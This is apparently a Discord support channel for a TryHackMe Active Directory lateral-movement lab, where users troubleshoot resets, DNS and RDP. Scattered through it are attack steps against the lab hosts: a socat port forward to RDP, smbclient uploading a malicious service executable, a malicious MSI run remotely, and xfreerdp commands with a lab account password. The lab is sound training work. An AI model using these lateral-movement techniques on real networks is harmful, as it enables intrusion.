for the specifics of your problem with psexec, I need more info on what may be failing

#

if you want to send screenshots, you can do so after verifying your account btw πŸ™‚

#

!docs verify

storm charmBOT
cunning gate
#

I can't put a screenshot here

#

I forwarded the port with socat :
za\danny.goddard@THMJMP2 C:\Users\danny.goddard>socat.exe TCP4-LISTEN:4549,fork TCP4:THMIIS.za.tryhackme.com:3389

#

it's really weird

#

idk why

#

i would like to ask chatgtp but it is down 🀨

spark sigil
#

!docs verify

storm charmBOT
spark sigil
cunning gate
fiery tundra
fiery tundra
#

why are you using THMJMP2 Creds in rdp command? arent you suppose to use a T1 user credentials?

#

Forgive me if I'm wrong Its been a long time since I did this room

cunning gate
honest steppeBOT
#

Gave +1 Rep to @fiery tundra

spark sigil
#

who is the kid who deleted flag of task #5

potent meteor
#

Is the network working? I can not ping or reach the DC in any way (set as DNS)... network is running, attackbox or own kali + vpn same result.
Edit: network reset fixed it

honest tapir
#

can anyone connect to the DC?
i cannot even ping it and i cant restart cuz it needs 3/5

shell summit
#

Suggestion:
Adding Chisel to the port forwarding task!

shell summit
#

One more vote for a reset please!

rocky olive
#

Hello. On task 4. I get a ReturnValue 1620 when i try to execute my malicious installer. I haved checked everything 100 times and cannot quit get my head around why it says it is missing..

full drum
#

partial path vs full path

rocky olive
#

command PackageLocation = "C:\Windows\Myfile.msi"

rocky olive
#

Tried it from the attack box. But there i get Returnvalue 1603. I even out of curiosity SSH in to thmiis and foun both my payloads sitting in C:\windows

#

But i cant get the wmic thing to work!!! Arrgh 😦

peak nacelle
#

Hello!

I have a problem, I connected via vpn and I also set the dns address correctly and I tried network reset many times but I still can't access http://distributor.za.tryhackme.com/creds, does anyone know what it is problem?

#

Up!

rocky olive
#

From attackbox?

#

Or your own Linux machine?

#

@peak nacelle

peak nacelle
#

my own machine

#

ping is working with dc

rocky olive
#

and you have the correct openvpn file?

peak nacelle
#

also i try with attack box

#

yes i download from the network and also , i check and i'm connected

rocky olive
#

hmmm. maybe the web server is dead?

#

can you ssh into server?

peak nacelle
#

i don t have credentials :))

#

because i can t request credentials

rocky olive
#

try the credentials from t1_corine.waters in task3

#

if that works the site is just down.

#

but if that dosent work vote Reset on the machine.

#

have you also checked cat /etc/resolv.conf that the network is posted in there?

peak nacelle
#

can you say me what i need to put in resolve.conf ?

rocky olive
peak nacelle
#

nameserver and ip ?

rocky olive
#

yeah. nameserver "IP OF THMDC"

#

then restart network manager. or network service

peak nacelle
#

i have conection whit every host , but just with ip

#

adress

#

not with domain

rocky olive
#

and still no access to site or ssh into server?

shadow linden
#

oh, and you need to verify before you can send screenshots

#

!docs verify

storm charmBOT
novel cypress
#

Hey everyone, I am not able to find the flag.exre

#

could you assist me on this?

shadow linden
# novel cypress

Hey there, this probably means someone deleted it. Please reset the network to get the executable back.

novel cypress
#

@shadow linden thanks. Even the reset had to be requested by 5 people.

honest steppeBOT
#

Gave +1 Rep to @shadow linden

novel cypress
#

However, I did it the next day and it worked. Thanks

shadow linden
#

That's great to know! πŸ˜€

safe cove
#

In task 4 i have executed the reverse shell but unable to read the Flag.exe ! What could be the reason !? It says i missed something!!

#

Trying with attackbox

safe cove
#

I figured it out !

#

Hint: dont ssh to wrong machine πŸ€•

#

As we have a admin credential so it’s possible to login to other machines!

subtle marten
#

looks like this room's server is down

#

I finished task 3 now it's not responding at all

stark jolt
#

I am also connected via VPN but i can't ping the THMDC or THMIIS

#

i completed adbasics, breaching AD room, so definitely my settings are all corrct

#

nslookup thmdc.za.tryhackme.com fails as well

#

Tried the next room "Exploiting Active Directory" and everything is working fine

#

so something is wrong with "Lateral Movement Lab"

primal fog
#

Is the server down? My VPN is not working

stark jolt
#

@shadow linden any ideas why i am getting "Sorry! You are still missing something. No flag for you yet. (1)" for task 3 ? i am on the correct host with correct user. Screenshot given. I used new-pssession.

#

I also tried psexec thinking may be i need system privileges, also tried with local administrator but same output

shadow linden
#

this is kind of a limitation in the room in itself, so sorry for that

stark jolt
#

Oh okay, got it.

#

Thanks for confirming

still perch
#

Hi , can't RDP in the THMJMP2 instance.

Tried xfreerdp, remmina, and rdesktop.

xfreerdp:

[17:04:18:131] [4601:4602] [WARN][com.freerdp.crypto] - Certificate verification failure 'self-signed certificate (18)' at stack position 0
[17:04:18:131] [4601:4602] [WARN][com.freerdp.crypto] - CN = THMJMP2.za.tryhackme.com
[17:04:19:238] [4601:4602] [WARN][com.freerdp.core.nla] - SPNEGO received NTSTATUS: STATUS_LOGON_FAILURE [0xC000006D] from server
[17:04:19:238] [4601:4602] [ERROR][com.freerdp.core] - nla_recv_pdu:freerdp_set_last_error_ex ERRCONNECT_LOGON_FAILURE [0x00020014]
[17:04:19:238] [4601:4602] [ERROR][com.freerdp.core.rdp] - rdp_recv_callback: CONNECTION_STATE_NLA - nla_recv_pdu() fail
[17:04:19:238] [4601:4602] [ERROR][com.freerdp.core.transport] - transport_check_fds: transport->ReceiveCallback() - -1

rdesktop:

Core(warning): Certificate received from server is NOT trusted by this system, an exception has been added by the user to trust this specific certificate.
Failed to initialize NLA, do you have correct Kerberos TGT initialized ?                                                                                                                                           
Failed to connect, CredSSP required by server.

Can SSH into the instance just fine with the same creds :{

still perch
fleet vessel
#

DNS does not seem to be working, idk why

#

Can we request a room reset?

earnest lotus
#

Even after reset the nslookup isn't working for the DC. But the credential URL is working.

nslookup thmdc.za.tryhackme.com                                          
;; Got recursion not available from 10.200.64.101, trying next server
#

I'll vote for a reset, but there is something wrong with that room.

earnest lotus
#

Reset in progress

earnest lotus
#

Same issues after reset.

fading orbit
#

Anyone else finding that JMP2 is not reachable? seem to have been kicked off the rdp session I had whilst I was making notes..

fading orbit
#

Eventually got the votes to reset, lets see..

#

Well, no idea what broke but resetting did the trick

tulip tree
#

Hello, has anyone been able to get Task 6 to work? I get license connection sequence aborted. when I try the suggested use of xfreerdp. I was able to login by adding /admin but the server had no t1_toby.beck's RDP session to hijack.

#

Any ideas, @rose kernel @muted palm @brazen frigate @shadow linden?

tulip tree
tranquil seal
shadow linden
honest steppeBOT
#

Gave +1 Rep to @shadow linden

slim shuttle
storm sentinel
#

As a side note, I think the Kerberos blurb in task 5 is slightly incorrect. It says that the KDC will send a TGS to the user.

As I understand it:

  • The KDC contains the Authentication Service (AS) and the Ticket Granting Service (TGS).
  • The AS will issue a Ticket Granting Ticket (TGT).
  • The TGS will issue a service ticket (no acronym?).

I.e. the TGS (like any other service) is a program that runs on a server, not a data file.

shadow linden
#

@slim shuttle @storm sentinel There's a problem with the network at the moment. The fix is on the way. Sorry for the inconveniences πŸ™‚

sturdy willow
#

In task 3 when uploading the malicious service executable, I tried to smbclient and get a prompt but it doesn't return me anything, is the IP address the problem, its showing my eth0 when im connected to the VPN:

root@kali:~/Desktop/thm/lateralmov_and_pivot# smbclient //thmiis.za.tryhackme.com/$admin -U t1_leonard.summers -W ZA -d 3
lp_load_ex: refreshing parameters
Initialising global parameters
rlimit_max: increasing rlimit_max (1024) to minimum Windows limit (16384)
Processing section "[global]"
added interface eth0 ip=192.168.115.128 bcast=192.168.115.255 netmask=255.255.255.0
Password for [ZA\t1_leonard.summers]:
Client started (version 4.16.3-Debian).
shadow linden
#

@tulip tree @tranquil seal @slim shuttle @storm sentinel The issue should now be resolved. You may need to reset the network if for some reason it hasn't reset since yesterday, but everything should work now πŸ™‚

shadow linden
storm sentinel
shadow linden
#

can you send the command and credentials you are using?

storm sentinel
shadow linden
storm sentinel
honest steppeBOT
#

Gave +1 Rep to @shadow linden

shadow linden
#

if RDP is working, then it has been reset

#

xfreerdp /v:thmjmp2.za.tryhackme.com /u:za\\t2_george.kay /p:Jght9206 should work

#

if it doesn't in your network, then it probably needs a reset

#

your command also works as-is against my network

storm sentinel
storm sentinel
# shadow linden if it doesn't in your network, then it probably needs a reset

Just to confirm, after a reset it works fine. These 3 commands all give an RDP session with no errors:

xfreerdp /v:thmjmp2.za.tryhackme.com /d:za.tryhackme.com /u:t2_george.kay /p:Jght9206
xfreerdp /v:thmjmp2.za.tryhackme.com /u:za\\t2_george.kay /p:Jght9206
xfreerdp /v:thmjmp2.za.tryhackme.com /u:t2_george.kay /p:Jght9206

I.e. you can specify the domain name as a separate argument (/d), or in the username (za\\), or not at all.